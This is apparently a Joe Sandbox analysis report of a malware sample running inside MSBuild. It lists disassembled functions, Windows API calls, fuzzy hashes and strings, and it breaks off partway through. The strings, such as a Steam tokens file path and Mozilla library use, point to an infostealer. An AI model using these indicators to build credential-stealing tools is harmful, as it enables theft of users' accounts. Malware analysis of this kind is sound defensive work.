Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041711E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction ID: 271d1becf7a3678e07a024325e19a0bcf1d7841c1b1dc1186d3e3fa3453cba64
Opcode Fuzzy Hash: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction Fuzzy Hash: BA017531E0010867CF00FBE6DD478CD7B74AF04358F504136FA0073152D778AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00409072 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409209
lstrlenA.KERNEL32(?), ref: 00409224

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction ID: 7980a2431a17434d4a9fc19140cc267ce1297f5f23c66c0477910a4dd415bd4c
Opcode Fuzzy Hash: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction Fuzzy Hash: 5A513D71A00119ABCF01FBA5EE468DD7775AF04309F50002AF500B71A2DBB8AE898B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CCCB Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CCDC

Part of subcall function 0041BC7F: lstrlenA.KERNEL32(?,0041CCED,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCB1
Part of subcall function 0041BC7F: malloc.MSVCRT ref: 0041BCB9
Part of subcall function 0041BC7F: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCC4

malloc.MSVCRT ref: 0041CD19

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: fcaced55c1c361c3e27715ea7ae3a17afdad1615e326a9d39dd71d0aa4f9bcfc
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 6BF0F0721412166BDB206F6AEC8098BBB94EB457A0F150037FD0997351EA38CC4086F9

Function 004185BE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction ID: c1de0727e8417f3a856ade1607230127397a68712c8c4452783f7dfbc6220367
Opcode Fuzzy Hash: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction Fuzzy Hash: D7514F71901240BFCA617BAE854DEF5B2D6AFA0328F14048FB404AA272DF6D8DD05D6D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction ID: 70aa0c5f5db09bd9b177b6aa788367f122bed66c5b4d8e76533133e42ab6cc8a
Opcode Fuzzy Hash: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction Fuzzy Hash: B3F03AB2E0015DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C440 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C451

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction ID: b821a3ed68e39ced0a1ee7d52ccadc00ba9e28cef2c83c113185a37151cab313
Opcode Fuzzy Hash: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction Fuzzy Hash: A221F6742007108FC320DF6ED495996B7F1FF49314B14486EEA8A8B722D776E880CB15

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C426C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C426CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C426D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C426D26

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C426D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C426D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C426D73
free.MOZGLUE(00000000), ref: 6C426D80
CertGetNameStringW.CRYPT32 ref: 6C426DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C426DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C426DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C426DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C426E10
CryptMsgClose.CRYPT32(00000000), ref: 6C426E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C426E34
CreateFileW.KERNEL32 ref: 6C426EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C426F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C426F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C42709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C427103
free.MOZGLUE(00000000), ref: 6C427153
CloseHandle.KERNEL32(?), ref: 6C427176
__Init_thread_footer.LIBCMT ref: 6C427209
__Init_thread_footer.LIBCMT ref: 6C42723A
__Init_thread_footer.LIBCMT ref: 6C42726B
__Init_thread_footer.LIBCMT ref: 6C42729C
__Init_thread_footer.LIBCMT ref: 6C4272DC
__Init_thread_footer.LIBCMT ref: 6C42730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4273C2
VerSetConditionMask.NTDLL ref: 6C4273F3
VerSetConditionMask.NTDLL ref: 6C4273FF
VerSetConditionMask.NTDLL ref: 6C427406
VerSetConditionMask.NTDLL ref: 6C42740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C42741A
moz_xmalloc.MOZGLUE(?), ref: 6C42755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C427568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C427585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C427598
free.MOZGLUE(00000000), ref: 6C4275AC

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

Strings

SHA256, xrefs: 6C426EC0
(, xrefs: 6C42768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C4272C8
wintrust.dll, xrefs: 6C4272CD

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 5dbdfda0d603af58ddfde679579b8c5e39e520480997f7b0d1b9c6e68d3f52d8
Instruction ID: 970969d013f53d4c479da5302f00e4a3e7d972d2d2fa432e5c11c399a9c40926
Opcode Fuzzy Hash: 5dbdfda0d603af58ddfde679579b8c5e39e520480997f7b0d1b9c6e68d3f52d8
Instruction Fuzzy Hash: E552E3B1A052249FEB21EF24CC85FAA77B8EF55708F104199E909A7740DB34AF85CF91

Function 6C45F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C45F09B

